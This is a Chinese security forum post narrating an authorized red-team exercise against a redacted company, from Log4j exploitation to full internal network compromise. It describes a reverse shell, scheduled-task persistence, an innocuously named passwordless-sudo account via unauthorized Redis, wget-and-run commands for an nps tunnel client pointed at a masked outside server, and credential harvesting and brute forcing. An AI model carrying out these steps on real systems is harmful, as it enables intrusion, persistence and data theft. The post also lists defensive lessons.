安全矩阵

 找回密码
 立即注册
搜索
查看: 260|回复: 0

有手就行 | Log4j打点后与管理员斗智斗勇

[复制链接]

139

主题

186

帖子

955

积分

高级会员

Rank: 4

积分
955
发表于 2022-9-28 08:26:18 | 显示全部楼层 |阅读模式

有手就行 | Log4j打点后与管理员斗智斗勇


一、概述
这是本系列第三篇文章,依旧是某省HVV红队的经历。
过程中只用到很简单的方法,所以加了个标题“有手就行”。
这家企业在内网犯了几乎所有能犯的错误,打起来也比较顺利,只不过当时被管理员发现了,争分夺秒的过程也比较有趣哈哈。
文中内容已做脱敏处理,渗透过程已获得授权, 相关漏洞也已经修复。
所介绍方法请勿用于非法用途!转载请注明出处谢谢。
二、信息收集
先摸一下这个公司的资产,就用example.com代替域名好了。
发现技术栈比较新,大部分都是前后端分离的,后端的接口有一个统一的网关,梳理下。
  1. 列举部分:

  2. 前端:https://op.example.com/login 手机或账号登录 可找回密码 没找到
  3. 接口:https://webapi.example.com:20860/gateway-dev/usercenter/

  4. 前端:http://chm.example.com/login
  5. 接口:http://webapi.example.com:20860/chm/

  6. 前端:https://oa.example.com/auth/login 爆不出来
  7. 接口:http://api.example.com:20242/gateway/organization-center/

  8. 前端:https://test.example.com/auth/login 跟oa的界面很像
  9. 接口:http://api.example.com:20242/gateway-test/organization-center/

  10. 前端:http://cms.example.com/login 失效了
  11. 接口:https://api.example.com:20242/authTest/login

  12. 前端:https://vm.example.com/login
  13. 接口:https://api.example.com:21915/login
复制代码

三、Log4j进入内网
其他曲折的打点就不提了,说下成功的。
发现 https://oa.example.com/ 的登录接口存在Log4j漏洞,使用https://github.com/WhiteHSBG/JNDIExploit 的反序列化方法直接反弹shell。
主机上没有EDR,出网(废话),是10段的普通用户。
进来先写个计划任务保证断了之后shell还能弹。

四、内网横向第一阶段
内网横向肯定得fscan出场了,这里也推荐下我写的缝合怪,求Star! https://github.com/u21h2/nacs (能扫常见组件和字段的Log4j)。
一般刚开始就扫个C段就行了,好巧不巧,发现了我最喜欢的Redis未授权,进去发现还是root用户,但是不出网。
这种情况我一般会创建一个sudo免密的新用户,就adduser然后visudo就可以了,用户名字起地别太假。
然后在出网的机器用nps搭一个隧道出来,服务端提前配好,客户端就三句话的事。
  1. wget https://github.com//ehang-io/nps/releases/download/v0.26.10/linux_amd64_client.tar.gz
  2. tar -zxvf linux_amd64_client.tar.gz
  3. nohup ./npc -server=xxx.xxx.xxx.xxx:xxx -vkey=xxx > npc.log 2>&1 &
复制代码

然后在本地proxifier走这个socks代理,ssh我们创建的用户,这样体验就好一些,反弹shell太难用了。
第二阶段
然后继续内网扫描,首先用扫描器的icmp模块看看内网有多大,然后再扫。
内网不大,就两个C段资产比较多。
我一般习惯先拿非web资产,最后再看web资产。
首先把所有的redis未授权和弱口令都利用了,一共拿到大约12台机器,然后进去翻web服务的配置文件,把数据库密码找到,发现几个经常用的强口令,补充到扫描器里接着爆扫数据库和服务器。
被发现
搞到一半突然发现代理断了,shell也弹不过来了,看了下入口的oa界面,后面的接口直接不通了,应该是oa后端对应的服务器直接关机了。难道是检测到出网流量了?
这不完犊子了吗。
再打个口子
回过头看上边信息收集的资产,test.example.com的界面跟oa很像,而且后端的接口也很像,会不会...?
果然,也有Log4j漏洞,也是普通用户,是另一台机器。
看了下我刚开始redis的跳板还没掉,应该就是出网流量被检测到了。
是HVV最后一天了,资产也不多,不管那么多了。
多找些机器开socks代理接着打。
继续横向
接着来看web服务,发现有很多nacos的服务,都有身份绕过的洞,进去又找到一堆数据库和AK的配置,接着补充到漏扫进行爆破。
还发现了许多生产系统都是弱口令,除了默认口令就是123456和admin123。
比如


还有Flink、Sentinel等等。
又掉了
ssh上去的redis机器又没了,但是代理还有通的,换一台机器接着用就是了。
LDAP
在内网又发现一个LDAP服务的管理端,管控着jira、jenkins等服务。

这玩意应该有一个接口能直接跳转登录吧?可惜我不会,但好在了里面写了能解密的密码,我们可以手动登相关系统。
解密后登录堡垒机
几十台机器都能连
Jira 可以看到开发过程以及代码爆破结果根据之前补充的密码,又爆破到不少新的数据库和服务器,基本两个C段的资产都拿到了吧,算作打穿了。
还拿到一些AK,能连上OSS看数据,危险啊。
思考我边打,管理员边关机,还是挺有趣的哈哈。
1.攻:因为是最后一天了,急着刷分交报告,就没有做太多隐藏的手段,导致被管理员发现好多次,不太优雅。
2.防:既然能发现我,说明是有安全设备的,但应该只开了告警,没开阻断模式;只能等管理员上线手动处理,从防守上就被动了。
3.防:这个公司内网犯了挺多错的:密码复用、弱口令、漏洞不修、不隔离、服务器出网。

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2022-12-4 23:44 , Processed in 0.011397 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表